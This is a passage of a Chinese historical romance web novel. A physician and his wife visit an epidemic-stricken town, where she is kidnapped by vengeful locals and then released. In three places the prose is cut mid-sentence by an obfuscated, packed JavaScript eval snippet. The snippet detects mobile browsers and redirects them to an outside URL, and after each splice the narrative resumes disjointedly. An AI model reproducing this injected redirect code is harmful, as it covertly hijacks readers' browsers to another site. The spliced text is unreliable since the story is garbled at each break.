“日日舟车劳顿,蓬头垢面的,可得好生打理打理。” 船身颠簸,她费劲拢了半天头发还不见好,转头见君迁仍在一旁看着自己,便使唤他道: “你与其作壁上观,不如过来搭把手呢。” 君迁顺从地走到舷边,在她身边俯下。金坠如释重负,将辛苦盘好的一侧发髻递到他手中,叮嘱道: “替我抓着就行。抓紧些,千万别松手。” 君迁僵硬地接过她盘好的发髻,屏息凝神,不动如山,手却微微有些发颤。金坠不禁笑道: “你紧张什么,我的头发是蛇变做的不成?——我记得你也不怕蛇呀!” 君迁无奈道:“劳驾快些,我的手很酸。” 金坠也不折磨他,腾出手来麻利盘好了余下的发丝,示意他将搁在甲板边的发簪递给她。君迁正要去取,船身一阵摇晃,那簪子竟滑落水中,沉了下去。君迁一怔,忙探身去拾,手里紧攥的刚盘好的发丝也散开了。 金坠白忙活一阵,好不生气,冷冷道:“算了,由它去吧。” 君迁问道:“你还有别的发簪么?” 金坠努努嘴:“原本带了三五支,在濠梁看村里的女孩们喜欢,都送掉了。只剩那一支,也被你送给河伯了!” 君迁面露愧色:“是我不慎。待上岸后,我赔你一支。” 金坠将散落的长发重新拢起,嗔道:“那你可得赔我支贵的。让我就这么捧着头发,怪累人的!” 君迁忽道:“你等一等。” 他起身回了船舱,片刻后取来一只锦囊递给她。金坠拆开一瞧,竟是那枚镶着金凤蝶的发钗。她并不意外,问道:“这是净月给你的吧?” 君迁有些意外:“你都知道了?” 金坠一哂:“听说前夜你去为那个受伤的小姑娘缝针,可多亏了它呢。” “迫不得已,沾了些血污。我已用酒淬过,你若不嫌……” “既救过人命,也算开过光了,我倒恐自己配不上它了。” 金坠一笑,将那失而复得的金钗举在手里端详。君迁望着她道: “蒙净月师父告知,才知这是你的聘钗。昨日离开时她执意归还,请我转交给你,我只得收下了。” “我就知道。你不会怪我擅自将这定亲礼送人吧?” 君迁微哂:“我倒要感谢你,若非你将这发钗送给净月师父,我真不知该如何替那个孩子缝合创口了。” “想来是那日在寂照寺发誓皈依感动了神佛,才让我无心种下这善因吧。” 金坠忆起此物来龙去脉,无奈一笑,拈起那金灿灿的钗子细细端量。长公主随手赐下的一支金针,不知值多少人命。她轻叹一声,自语道: “濠梁村也没个当铺,等到了下一站我当了它去买药,再寄回给净月小师父。” 语毕,临水挽了个简约的垂髻,将那发钗递给君迁: “物尽其用,我也不能就这样披头散发的。你这双手开过光,劳你也替我缝一缝吧。” 君迁莞尔一笑,接过钗子,在她身边俯下。细缕密缝,绾过青丝,细细将那只鎏金凤蝶镶在她的发上。 金坠垂眸望着水面。舟楫惹得水波荡漾,万物倒影碎裂,唯有那钗头上的蝶羽映着日光,璀璨灼目,将他们重叠在水中的影子镀上一层金辉。她伸手抚着那振翅欲飞的凤蝶,不禁悦声道: “好不好看?” “好看好看!好一对临水鸳鸯,好生羡慕人哩!” 一个妇人蓦地接过话去。二人赶忙分开,回头见是船家的妻子恰巧来到甲板上。那妇人目睹他们不甚腼腆,遂笑道: “我就来汲个水,你们不必管我,继续便是!” 说着提着桶到船边去了。君迁上前问道: “请问此处距鹤山还有多远?” “不远,再半个时辰便到了。”妇人边打水边道,“我看二位新婚不久,此行是去鹤山踏春赏山樱的吧?” 金坠好奇道:“莫非那儿的山樱开得很好么?” “小娘子竟不知么?若论这一带的赏樱胜地,非鹤山莫属!每年这时节,都有好些人慕名而去哩!”妇人忽转了话锋,“只是二位这会儿去,恐不是时候……” 金坠蹙眉:“为何?” “听说那里正闹时疫!往年也有,今岁不知怎地尤为厉害,二位还是避一避吧……” 妇人话音未落,却听君迁问道: “是‘樱疮’么?” “郎君晓得呀!正是那病,染上则浑身瘙痒,红肿溃烂,就像那儿的山樱花似的。莫瞧这名字好听,不好可是要死人哩!” 金坠幽幽道:“放心罢,这位可是药师如来下凡,法力无边,瘟神见了他都退避三尺呢。” 妇人又劝了几句,见他们去意已决,只得作罢。待她走后,金坠叹了口气,盯着君迁道: “我还以为你忽然有了闲情逸致,要带我去踏春赏樱呢。原来不是赏山上的樱,却是人身上的。” “鹤山杜县令是我的同门师兄,调任此地不久,致力防治时疫,常与我通信探讨。正好我研制了一种新方,约定此行顺路前往拜会。”君迁望着她,“你就待在船上吧,我去去便回……” “你当我是瘟神么,去哪儿都避着我?”金坠冷冷道,“在临淮县不声不响晾了我三天,这次又要故技重施?” 君迁欲言又止,伫立舷边,默默凝望着水面。金坠走到他身旁,坚定地说道:“我与你一同去。” 半个时辰后,客船如期停在了鹤山渡。这是一座依山傍水的小城,碧波翠嶂,修竹娉婷,颇有武陵桃源之风。渡口水岸边遍植山樱,花开正盛,落英缤纷,遥看如绯云红霓。四下却并无游人赏花,显得十分寂寥。 二人甫一下船,岸边便有几个胥吏亟亟跑来,自称奉杜县令之命前来迎接沈学士夫妇。君迁道了谢,便随他们乘车去往县衙。胥吏们一路上谈起那名为“樱疮”的本地时疫,词意恳切,无不对这位翰林医学士的到来颇感欣慰。 百姓都在家避疫,城内行人稀少,车马一路畅行,片刻便到了县衙。一个面目清朗的青年县官已候在衙门前,正是君迁的师兄杜县令。见了来客,忙迎上前来,亲切地唤道: “见微!别来无恙?” 君迁款款回礼:“师兄一切安好?” “好,好!”杜峥拍了拍君迁的肩,无限感慨,“自我调任离京,你我已有三年未见了吧?” “确是三年不曾与师兄相会了。” “你还是那样,一点没变……本该亲自去渡口迎你,不巧今早刚到了一批药材,我得去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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阿洛挣扎着想要缩回手去。君迁并不松手,柔声安抚道:“别怕。疼么?” 杜峥见他竟直接上手触碰病人,大惊失色:“见微,你别……” “没事的。” 君迁从医匣中取出一只小药瓶揭开,另取一纱布蘸取瓶中膏药,轻轻抹在男孩臂上。阿洛渐渐安静下来,盯着自己手上的樱疮,低低问杜峥道: “师父,我是不是要死了……” 杜峥指着君迁对他道:“傻小子,胡说什么!这位便是我与你提过的沈学士沈神医,有他在,谁都死不了!” 男孩将信将疑地望向君迁。君迁埋首施药,抹完了手臂,又拉起男孩的衣物细细检查,确定并无蔓延,方起身道: “无妨,只是初发。这是我新研制的川石膏,与草乌、硇砂、麝香等配伍,一日两回外敷于患处,可消止溃疡,祛腐生肌——疮口很快便会结痂,届时会有些痒,切记不得抓破,待痂皮脱落便可痊愈。” 杜峥惊喜道:“原来你还带了神药来!” 君迁道:“新研不久,我也不可保证疗效,姑且试试吧。此药外敷配合祛毒汤饮内服,如若对症,七日之内便可见效。” “但凡出自你手的药方,就没有不见效的。看来鹤山人身上的这场山樱是开到头了!”杜峥说着转向男孩,“阿洛,你好好学医,日后定能像这位沈学士一般,生死人、肉白骨!” 君迁苦笑道:“师兄谬赞了,我何曾有这等本事。” 金坠一哂:“你就别谦虚了,要不这一路上怎么都当你是药师琉璃光如来下凡呢?” “药师如来?也像上回来的那位观世音菩萨一样么?”阿洛突然问道。 金坠如遭芒刺,讷讷道:“什么观世音?” 22.碾作尘 杜峥道:“他说的应该是嘉陵王殿下。去年这时候,殿下曾微服到访鹤山,见春疫甚烈,不顾安危执意留下参与救治,出钱出力,事必躬亲。百姓们不知他的身份,皆当他是大慈大悲的观世音下凡呢。世事无常,不想殿下这般早就……” 言至此一声叹息,不再说下去。小男孩阿洛忙问道: “他怎么了,死了么?观世音菩萨也会死么?” “他只是去了一个更好的地方。”金坠淡淡道。 阿洛道:“我知道了!他一定是去了山樱谷,化作了花神,永远守护大家!” 金坠一怔:“山樱谷?” “去年他走的时候,大家都聚在城外的山樱谷为他送行。观世音菩萨说,他很喜欢这里,即使以后没有机会再来,也永远不会忘了这儿的山樱花,不会忘了大家。他还当场作了一首诗送给我们呢——” 小男孩粲然一笑,朗声背诵起那首诗: “昨日红雪如飞花,今日飞花似红雪……” “别后相思最盛处,十里山樱十里尘。” 金坠梦呓般接过了下阙。阿洛惊道: “咦,原来这首诗这么有名呀!……姊姊,你眼睛怎么红红的?” 金坠咬了咬唇,垂目不语。君迁一言不发,微微侧开身去。杜峥察觉异状,忙做出伸手挡风的模样,对阿洛道: “大概是风太大,眼里进了沙尘吧?这不,我也想哭了!外头冷,你早些回去吧,等病好了再来师父这儿玩。” 阿洛应了声,正要回去,君迁叫住他,将那瓶药膏塞到他手里,叮嘱道:“记得按时擦药。” 男孩接过药瓶,合十一拜:“多谢药师琉璃光如来大人救我一命!神佛保佑鹤山,走了一个观音,来了一个如来……” 说罢蹦蹦跳跳地跑远了。四下重归静谧,春风拂掠,略带寒意。庭院间的草木簌簌作响,因无人声掩盖,一时有些凄清。 杜峥见金坠仍低着头孤立墙隅,温言道:“金娘子,尊夫还要与我去库房查看药材,我请人先送你去馆驿歇息吧。” 金坠回过神来,致礼道:“有劳了。” 正要离去,臂上一紧,回眸见君迁轻轻拽住她,将一只小包递来——不用猜也知是驱疫用的艾盒与雄黄。 “你带上这个。我随杜县令去看药巡诊,大约需半日,结束便来馆驿找你。” 金坠点了点头,接过包裹,在君迁的目送下乘车而去。待金坠走后,杜峥叹息一声,心有余悸地望着君迁: “见微,我知你是仁心仁术,却也不能太忘我啊!刚才那个孩子已得了毒疮,你那般给他上药还是很危险的……” “肢体接触并不定然致病,即使染上了也非无药可治。有时候,医者的双手才是对病患最大的安慰,好让他们明白染疫之身并不污秽,患病之人也绝非不可接触——肉身之痛尚可治愈,内心的病痛却时遭忽视。对病人而言,后者远比前者难熬。” 君迁淡然语毕,又补充道: “这是先祖父的教诲。” “是啊……缙溪先生在世时确实是如此做的。有你继承他的遗志,老人家当含笑九泉矣!”杜峥摇头感叹,“都说医者救世如神佛普度众生,可悲我与你同出医门却无此胸怀担当,终究半途而废,在俗世里强挣罢了……” 君迁宽慰:“人各有志,师兄夙夜在公,亦多苦劳……” 杜峥冷笑:“是啊,夙夜在公,劳苦半天,却连几味药都凑不齐——打开公库,买药的公钱不知去了何处,偌大一个县,闹疫病时竟连最普通的黄芩都短缺!百姓买不到药,就按土偏方喝泥水、嚼野草。疫疾最凶时,每日拉出城去埋的就有数十车……就埋在城外那片山樱谷里。” 君迁一凛:“师兄方才说今早到的那些药材是……” 杜峥惨淡一笑:“暂扣了县衙本月的俸禄,从邻县药商那儿高价收来的。” 君迁冷冷道:“囤积居奇扰乱药市,抓了便是。” “我倒是想抓,可他们也是从别处收的,层层盘剥,谁知原价的药材在哪儿?这鹤山县的衙狱总共那么大点地方,可抓的人终归是有限的。再多的,就非我所能了。” 杜县令这番话令君迁回想起在濠梁所闻官商勾连鱼肉百姓之事,心下黯然,如鲠在喉。沉默片刻,杜峥又道: “自你上回寄来了治樱疮的方子,我便四处筹措,好歹是在你来之前凑齐了——我调来这鹤山一年不到,未曾有什么建树。医术有限,救不了多少人命。若连这点儿药都凑不齐,眼看着百姓病死,还当什么县令?不如回太医局做个小医官,替帝京的贵人们炼炼长生药罢了。” 君迁低低道:“世态如此,非师兄之过。” “世态如此——犹记缙溪先生在世时也常作如是言。我这么说你别生气,岁初听说尊祖父仙逝,我实为他欣慰……在这五浊恶世中苦行了毕生医,总算能去干净的地方了!” 杜峥望向君迁,见他敛眉不语,忙止住话题,带着他去仓库看药。路上闲谈似的说道: “士别三日,刮目相待。见微,许久不见,你已给相门做了女婿。” 君迁语塞,正要解释,杜峥意味深长地一笑,回身拍了拍他: “不必多言,被当朝宰相看上,岂有你逃的命。我刚听说你娶了金家的女儿,委实替你捏了把汗。今日见令正温婉有礼,总算能放心了。你刚成婚便离京远调,她亦不辞劳苦一路相随,得妻如此,夫复何求?” 说话间,二人已来到县衙的库房。空气中苦味弥漫,几只大木匣陈列在目,正是那来之不易的樱疮药材。杜峥打开药箱,待君迁逐一清点查验,确认无误,如释重负。抓了一把生药在掌中摩挲,喃喃道: “君子入世,不为良臣,则为良医。我愧对尊祖父缙溪先生的教诲,做不了良医,但愿能做一个良臣,却也是举步维艰。见微,你不知我有多羡慕你!君之恒心与虔心若可借得三分,我当初也不会草草弃了医道,而今又空坐在这官衙里头叹气了。” 言至此,回身望着君迁,沉声道: “见微,我不知你此去杭州肩负了什么重任,我只提醒你一句,宦海险恶,不如在翰林院和太医局教书,你定要处处留神。尤其是你如今成了金家的女婿,许会惹来不少口舌是非,以你那草木般的性子,我真有些不放心呢!” “草木无心,何须人折。”君迁淡淡一笑,“多谢师兄指点。医者进则救世,退则救人。我不敢高谈救世,唯愿多救一人。” 杜峥叹息一声,颔首笑道:“好。那我就陪你多救一人,再多救一人吧!” 杜县令派车送金坠到馆驿歇息,便与君迁商讨樱疮防治对策去了。正是晌午,春光大好,这座被疫疾侵占的小城街头却行人寥寥。馆驿中亦很冷清,只有金坠一个住客。驿吏百无聊赖,只管自己打瞌睡。金坠在屋中闷得慌,便来到庭中散步。 馆驿门前有一株山樱树,迎风飘摇,落红如雨,在春色中凄然得不合时宜。金坠走到树下眺望,只觉那每一片落花都有千钧重,砸在心上,血肉淋漓。 记得去年此时,嘉陵王曾寄来一首诗,随信告诉她自己到访了一处幽隐山水的世外桃源,谷中遍植山樱,宛若仙境。他说来春山樱重开之时,会带她去这诗中胜地同赏十里红雪。可如今看花人却只剩她一个。落红飘零,相思化尘。无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16046680|177882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意之中重访故地,才惊觉这诗句中暗藏他们命运的谶语…… “小娘子可要去城外赏花么?” 身后忽飘来一个低哑的声音。金坠回过头,只见那山樱树下不知何时出现一个驾着车的斗笠老翁,大约是来拉客的车夫。他伸手指向前方幽巷,问道: “城外山樱谷中的花开得正好,老朽正要往那头去,小娘子可也想一道去看看?” 金坠再三婉拒,那老翁不依不挠道: “娘子没听过么?不看山樱,等于没来鹤山!正是开花最好的时候,方圆十里一片红艳艳,你当真不想去看看?” 金坠被缠得心烦,转头就走,那老翁却冷笑一声,哑声道: “都说我们这的花儿比别处红,是因为底下埋了太多的死人——十里山樱,尽是冤魂血肉染成!” 话音一落,山樱树后的幽巷中蹿出一伙蒙面黑衣人,不由分说用裹了迷药的布条堵了金坠的嘴,一把将她塞进车里,扬鞭疾跑。金坠岂能料到光天化日竟在馆驿门前遭了劫匪,一时魂飞魄散,竭力挣扎,终不敌药力,昏了过去。 马车飞驰,半晌方停。金坠被绑匪拽下车厢,顿时清醒过来。四下环顾,放眼皆是荒烟蔓草,竟已到了荒郊。天色阴下来,闷雷滚滚,恐要落雨了。 几个蒙面人用麻绳捆住金坠,拖着她往树丛中走去。金坠镇定心神,同他们交涉道: “我是从帝京来的,你们将我完好无损地放回去,想要什么尽管开口,否则恐得不偿失!” 绑匪们瞥她一眼,充耳不闻。金坠又道: “我夫君是医官,我随他来鹤山防治时疫,接触过不少樱疮病人,不想死就离我远点!” “樱疮?弟兄们早已染过,都死过一回了!”绑匪头子恶狠狠道,“你说你们这些达官贵人不好好在帝京待着,何必跑来这乡下地方找死?防治时疫?我看是顺道来赏花的吧!可惜你们来得不是时候,如今山樱谷已成了死人谷,你们想赏花,就去死人堆里赏吧!” 那人往树丛中一指。一个个坟头立在荒草中,俨然是一片乱葬岗。金坠一惊,遭绑匪们一把揪住,指着眼前一片乱坟质问她: “你说你们是来鹤山干什么的?治病?做戏给谁看呢?过去也曾来了几个像你们这样自称青天的,县衙里那些昏官一听上头来人,挨家挨户搜刮民财贿赂他们!那些戏子说几句好话,丢给我们一堆烂草药便走了,瘟疫死的人却一年比一年多!” 金坠浑身发冷,摇头嗫嚅:“不,君迁不是这样的人……他是真心想帮忙的……” 一个苍老低哑的声音幽幽飘来:“真心?你们这些住在金屋子里的人哪有什么心?” 说话的是个老翁。他正蹲在荒草深处的一座坟前烧纸,黑烟缕缕。边上是一大片盛开的山樱花树,殷红如血,美如幻梦。花丛中树着一尊破旧不堪的石像,面容遭风雨磨蚀,看身形应是一尊观音。残像孤零零地立在这片红樱血海中,四下皆是乱坟古墓,凄凉得令人心惊。 那烧纸翁从墓前转过身,正是方才在馆驿前和金坠搭话的那个老车夫。他脱下斗篷,露出一身惨白丧服,浑浊的老眼死死盯着金坠,指着身后一片花海道: “小娘子看看,这花儿好看吧?树下埋着鹤山祖祖辈辈的骸骨,饿死的,病死的,被那些奸臣酷吏害死的!你们这些人若真有心,就该挖出来陪葬!” 金坠颤声道:“我并不认得你,何故劫我来此?” 老翁伸出一只枯手指着金坠:“我认得你——你就是那当朝巨奸金霖的女儿!那奸臣在朝中倒行逆施,残害忠良,放任手下一班鹰犬暴敛横征,无法无天,害得百姓好苦呵!” 23.香如故 金坠一凛,仓皇后退,被身旁绑匪拽住。老翁悲叹一声,转身面向那座还燃着纸烟的坟墓,哑声道: “这是个什么样的世道啊!可怜我儿寒窗苦读十载,吃百家饭考取了乡试第一,以为就此可做一个好官,造福桑梓,却因拿到了那班奸佞的贪墨罪证,直言上谏,遭他们连夜溺死在江里,大好年华,化作白骨了才寻见!” 言至此,起身走至山樱花丛中的那座观音残像前,合十一拜,仰天长叹: “去年此时,有一位贵人来访鹤山,与百姓同吃同住,给大家捐药捐粮。听闻我儿冤屈,出资替他修了墓,还许诺替吾儿雪冤平反。那位贵人走后,大家才知他就是赫赫有名的嘉陵王殿下——可一眨眼,就连殿下自己都遭人从山崖上推下去,粉身碎骨了……天地不仁!神佛无眼!天人尚得如此下场,我们这些蝼蚁又当何去何从?” 天边一记春雷劈头盖脸而来。金坠如遭轰顶,怔怔道:“你说嘉陵王殿下是遭人所害……有何证据?” 老翁嘶声:“人心就是证据!百姓都晓得,嘉陵王殿下清白正直,众望所归,原本是要做太子,做皇帝的,却因在朝中得罪奸佞,招来杀身之祸!可恨那巨奸金霖勾结雍阳毒妇祸乱宫闱弑主篡权,害死了一个月亮一般清白的皇子,放任手下那班恶鬼掳掠民脂民膏,敲骨吸髓!此恨不报,誓不为人!” 话音一落,他身后的那些人都群情激愤,嚷嚷着要诛贼复仇。金坠回过神来,强颜道: “我并非金霖亲生,与金家的关系并不密切,诸位恐绑错了人!你们的苦楚我都理解,放了我,今日之事我当从未发生……” 众人闻言,商议一阵,冷笑道:“难道你不姓金?金家没有一个无辜的!杀不了那老奸,就杀了你这小贱货祭冤魂,为这十里山樱再添一分血色!” 言毕一阵拉扯,将金坠绑在正对乱坟的一株山樱树下。绑匪们取出一把长刀,在石头上磨得霍霍作响,递给老翁。老翁提着刀向金坠走去,金坠声嘶力竭: “你们杀了我,死去的人也不会复生,只会招致更多杀戮!老人家,求你放了我……嘉陵王殿下亦是我的故交啊!” 老翁一怔,持刀的手僵住了。一旁有人道:“老师莫听这贱人谗言,她是金霖老贼家的人,怎会与嘉陵王殿下交好!” “昨日红雪如飞花,今日飞花似红雪。别后相思最盛处,十里山樱十里尘……”金坠颤声诵出了记忆中的这首绝句,“去年此时,殿下微服出京,途径鹤山,于樱花谷中赋下此诗,随信寄给我。我一直很想来这里看看……” 一个绑匪道:“这首诗鹤山人人传诵,何以为证!你说你认得嘉陵王殿下,还有什么凭据?” 金坠深吸一口气,正色道:“殿下随身佩着一只翡翠镯子,月光成色,稀世罕见。我见诸位谈吐不俗,可曾听说过滇西的冰魄翡翠?我这里亦有一枚,是殿下赠予我的。” 此言一出,一片哗然。老翁叫手下为金坠松开双手,让她拿出信物来验。金坠解下腰间佩着的云月绣囊,从中取出那枚珍藏的翡翠镯,高高举起。春雷滚滚,风雨欲来,周围的山樱花丛猎猎作响,乱红如雨。漫天黑云之下,只见金坠手中的玉光清润透亮,宛如花雨间升起的一轮明月,映照人心。 “不错,不错……”老翁失神地望着那翡翠镯,“与嘉陵王殿下的那只一模一样!” 金坠收起镯子,含泪道:“我知晓我的叔父做了许多不堪之事,我不会为他辩解,亦不愿自辩。今日我若命终于此,是我之业。只求给我一些时间,让我留一封遗书同亲友作别……” “你当真是嘉陵王殿下的故人?”老翁呆望着金坠,“殿下他……当真不在了么?” 金坠咬唇点了点头,心如刀绞,泪流满面。老翁长叹一声,丢下刀子,对金坠道:“你走吧。” 其余绑匪急道:“老师,就这样放她走必留后患!” 老翁面向那尊观音残像,沉声道:“她是嘉陵王殿下的故人。殿下于吾辈有恩,在天有灵,定不愿见以怨报德之事……让她走!” 手下只得为金坠松了绑。金坠如释重负,踉跄步至老翁身前道谢:“今日之事,我绝不会说出去。以防万一,诸位还是尽快离开这里吧。” 老翁不语,回身仰望着那尊没有面孔的观音石像。金坠生怕他们变卦,拖着方才遭拖拽时扭到的脚踝,跌跌撞撞地离开周遭山樱花丛。 又一记春雷在耳畔鸣响,终于带来了雨水。暴雨如瀑飞落九天,霎时草木摇动,昏天黑地。金坠遭此一劫,丢魂落魄,又没地方躲避,只得冒雨独行在陌生的荒郊野岭。走了半天,天愈黑,雨愈大,四下一片昏冥,也不知该往何方去。她遭雨淋得失神,脚下一软,跌倒在一片泥泞的草泽里。浑身散架一般痛,心中千头万绪化作暴雨排山倒海涌来,压得她浑身僵冷,难以喘息。 身体愈来愈冷,她慢慢闭上眼……不知多久过去,就在她快要失去意识的时候,忽有一双温暖的手将她轻轻托起来。 金坠微微睁眼,在漫天黑云之下望见了君迁的脸庞。风雨搅乱了那双深潭似的眼睛,素来清净无波的水面上,她初次看见了映照着自身的湍流。 被雨浇透的身子暖了起来。他扶着她从泥潭里坐起来,俯身替她遮雨,让她倚在自己温热的怀间,拢着她冰凉的双手不停摩挲,柔声道:“冷么?” “君迁……?”金坠如梦初醒,“这是哪里?我走了多久……” “鹤山南郊,距城门还有十里。”君迁搂住她颤抖的双肩,“你先别动,杜县令他们即刻便至。” 她抬头望着他,瓢泼大雨正顺着他的面颊淌落,使他的双眼愈发明净。目光中愈加明晰地倒映出她的身影,小而亮,仿佛融入清潭的一滴玉珠。她心中一颤,倏然感到一种要融化似的酸涩的悸慄,忙咬唇撇过脸去,竭力不让泪水落下。 君迁扶着她,小心捏起她扭伤的脚踝察看:“你若觉得疼……” 话音未落,金坠已伏在他肩头失声抽噎起来。他一怔,双手环抱住她浮舟般颤抖的身体。他们在风雨中静静相拥,几将身外之物抛却。她在他怀中静听着雷声远去,终于扬起脸来,心中的悲辛如雨水落尽。 少顷,远处一行人马遥遥飞奔而来。杜峥带着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16053728|177882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鹤山县衙的府兵们策马而至,见他们两人都被雨淋得通透,忙撑伞上前唤道: “金娘子!沈学士!你们没事吧?” 金坠隐瞒了方才之事,抹了泪道:“我本想去山樱谷看花,不慎迷了路……怪我多事添乱,烦杜县令跑这一遭。” 杜峥有些错愕,安慰道:“金娘子无碍便好!尊夫巡诊归来,见你不在馆驿,急得什么似的!我们还不知去何处寻呢,他便直奔这山樱谷而来,果然找到了你!” 金坠一怔,想起先前男孩阿洛曾提及嘉陵王去年游历山樱谷的旧事——君迁定是因此才来这里寻她。方才在那片乱坟岗中遭遇的种种赫然在目,她想起那老翁的控诉,满心凄凉,黯然不语。 杜峥见金坠满身泥泞,皱眉道:“近来闹时疫,城外这一带颇为荒凉,若遇见贼人就不好了……金娘子确实没事吧?” 金坠摇摇头,挣扎着起身,一下又跌在君迁怀里。君迁抱着她,对杜峥道:“内子不慎摔伤,恐需留宿一夜。劳烦师兄了。” 杜峥忙叫他们安心,派车送他们回馆驿。君迁拦腰抱起金坠,小心地将她送进车厢,挨着她坐下。金坠筋疲力尽,一上车便倚着君迁昏睡过去。到了馆驿也没知觉,由他抱进客房里。再睁眼时,已睡在一张干净的床塌上,浑身温暖干爽,舒适得像做梦一般。 天已黑透了,屋中一片昏暗。窗外暮景沉沉,雨仍未止。金坠揉揉眼,正要下床,门扉轻启,君迁端着只药碗蹑步而入。见她醒了,忙去点亮案上的烛台。 “几时了……?”她轻声问道。 “戊时末了。”君迁端着烛台步至塌边。 烛光照下来,金坠忽发现自己被雨淋湿的衣裳从里到外皆被换过,受伤的脚踝处也上好了药。她怔了一怔,倏地抬头盯住君迁。君迁赶忙解释道: “你的衣服是馆驿的婢子替你换的……药是我替你上的。伤势并无大碍,休息一两日便可走路了。” “……多谢。” 君迁望着她:“你饿不饿?可想吃些什么?” “……我没胃口。” “那你将这姜汤喝了吧。” 他将端来的那只药碗递给她。金坠小口啜着驱寒的热姜汤,只觉身心皆暖,望着他道: “今日有劳你出城来寻我……我这一闹,耽误你不少事罢?” 君迁摇摇头,待她将姜汤喝完,忽道:“你独自走那么远,当真是去山樱谷看花?” 金坠只觉心中闷得慌,悄声道:“我若同你说实话,你能不告诉别人么?” “恐怕不行。”君迁从她手中接过空碗,“杜县令来了,正在屋外等你。你想说的事,他已知晓了。” 金坠一怔,咬唇不语。君迁道:“你若不愿见他,我就说你已睡了。” 金坠叹了口气:“请他进来吧。” 君迁颔首,起身出门唤来了杜峥。杜县令肃然而来,一进门便向金坠长揖道: “金娘子请恕护卫不周,害你遭此横祸。官兵已在城外抓获两名疑犯,请金娘子辨认一番,是否就是今日掳走你的凶匪——带上来!” 24.葬花魂 鹤山县衙的官兵押着一老一少进屋,呵斥他们跪下。金坠看过去,果是今日在山樱谷绑架她的那个老翁和他手下的一名青年。二人皆戴着枷锁,蓬头垢面,浑身雨泥。 金坠还未说话,那满面凶光地盯着她,咬牙道:“好个出尔反尔的贱人!老师,我早说你不该心慈放了她!” 老翁垂首不语。官兵队长踹了那囚犯一脚,指着老翁对杜峥道: “审过了,祸首正是这老贼!一个书院里的教书先生,不好好教书,竟率了手下一群学生做起了强盗营生!书都读到狗肚子里去了!” 杜峥显然认得这教书翁,沉痛道:“韩翁,你老人家是本县举人出身,乡邻最为敬重的老辈,为何组织乱匪犯下此等恶行?” 韩翁冷笑:“乱匪?谁是乱匪?朝堂里坐着的那个巨奸才是!他手下害死我儿的那些鹰犬才是!” 金坠于心不忍,对杜峥道:“这位老人并未伤害我,还请杜县令念其年事已高,家有冤屈,从宽处置!” 官兵队长在一旁拱火:“金娘子,此人污言秽语侮辱令尊金相,还劫持了你这位朝廷命妇,是可忍孰不可忍!” 君迁冷冷道:“内子于官驿门前遭劫,竟无一人阻拦,若真追究,诸位恐也难辞其咎罢?” 官兵慌忙缄口。杜峥叹息一声,对那教书翁道:“有冤申冤,何故滥用私刑!沈学士夫妇乃朝廷命官命妇,赴任途中专程前来鹤山防治时疫……” 话音未落,却遭翰翁身旁那学生打断:“呸!这两人是金霖老贼的女儿女婿,一家子吃金食玉,残害忠良,这会儿倒假惺来行医救人? 杜峥指着君迁道:“他祖父沈清忠公世称缙溪先生,当世药学大家,敕封紫金医圣!你们都是读书人,应当听说过他老人家的名声!沈学士传承家学宣药疗疾,并无半分私心,日月可鉴,岂容毁谤!” 那学子冷笑:“什么医圣药圣,给达官显贵炼长命丹的奴隶罢了!谁都晓得先帝晚年沉迷丹方,那沈缙溪管的太医局非但不行劝谏,还与巨奸金霖一同阿谀媚上,合谋乱政!谁知道他们喂先帝吃了哪门子灵丹妙药,害老皇帝吃坏了身子,他们偷摸篡改了传位诏书,派鹰犬去云南将嘉陵王推下山,任由那窝子豺狼蛇鼠跋扈庙堂!” 众人听了这般诛九族的大逆之言,大惊失色,一时都呆住了。金坠惊惧到失语,转头去看君迁,见他亦是面若死灰,浑身轻颤,额上已泛起冷汗。 那枷锁披身的学子兀自仰天大笑,转头死死盯着君迁和金坠,破口大骂: “好一对奸|夫|淫|妇,打着行医救世的旗号,干着乱臣贼子的勾当!嘉陵王殿下准是遭这金氏贱人出卖,收了他的信物,转头就另嫁他人,竟还敢借殿下的名来装可怜,水性杨花,无耻之尤!白天在山樱谷就该杀了你祭冤魂!” 杜峥厉声道:“住口!押下去!” 官兵得令,正要上前押人,君迁疾步至那学子面前,冷声道:“你方才所言有何凭据?” 那人啐了他一口:“哈哈!你那好岳父残害忠良无恶不作,天下皆知,他做事还要凭据?你们这些豺狼蛇鼠的后代,你们都是一伙的……” 官兵队长不待他说完,一记窝心脚下去,对杜峥道:“杜县令容禀,这一班乱匪有谋逆之心,应即刻押往州府严审,清剿同党!” 杜峥深吸一口气,低低道:“先将案犯押入衙狱,待升堂问审,再作判决。” 韩翁劝住身旁学生,望着杜峥道:“杜县令,吾儿生前说过,你是个良心未泯之人,可你改变不了这世道!劝你勿再陷在这烂泥塘里,早早卸了这身官服回家去吧,否则早晚变得和那些面目可憎之人一个模样!” 杜峥一凛,背身不语,挥手让官兵押走那对师生。二人悻悻而去,韩翁忽回首盯着金坠,幽声道: 